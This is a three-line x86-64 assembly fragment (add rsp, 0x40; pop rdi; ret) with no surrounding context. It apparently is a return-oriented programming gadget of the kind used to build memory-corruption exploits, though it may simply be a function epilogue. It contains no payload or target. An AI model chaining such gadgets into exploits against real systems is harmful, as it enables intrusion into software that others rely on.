add rsp, 0x40
pop rdi
ret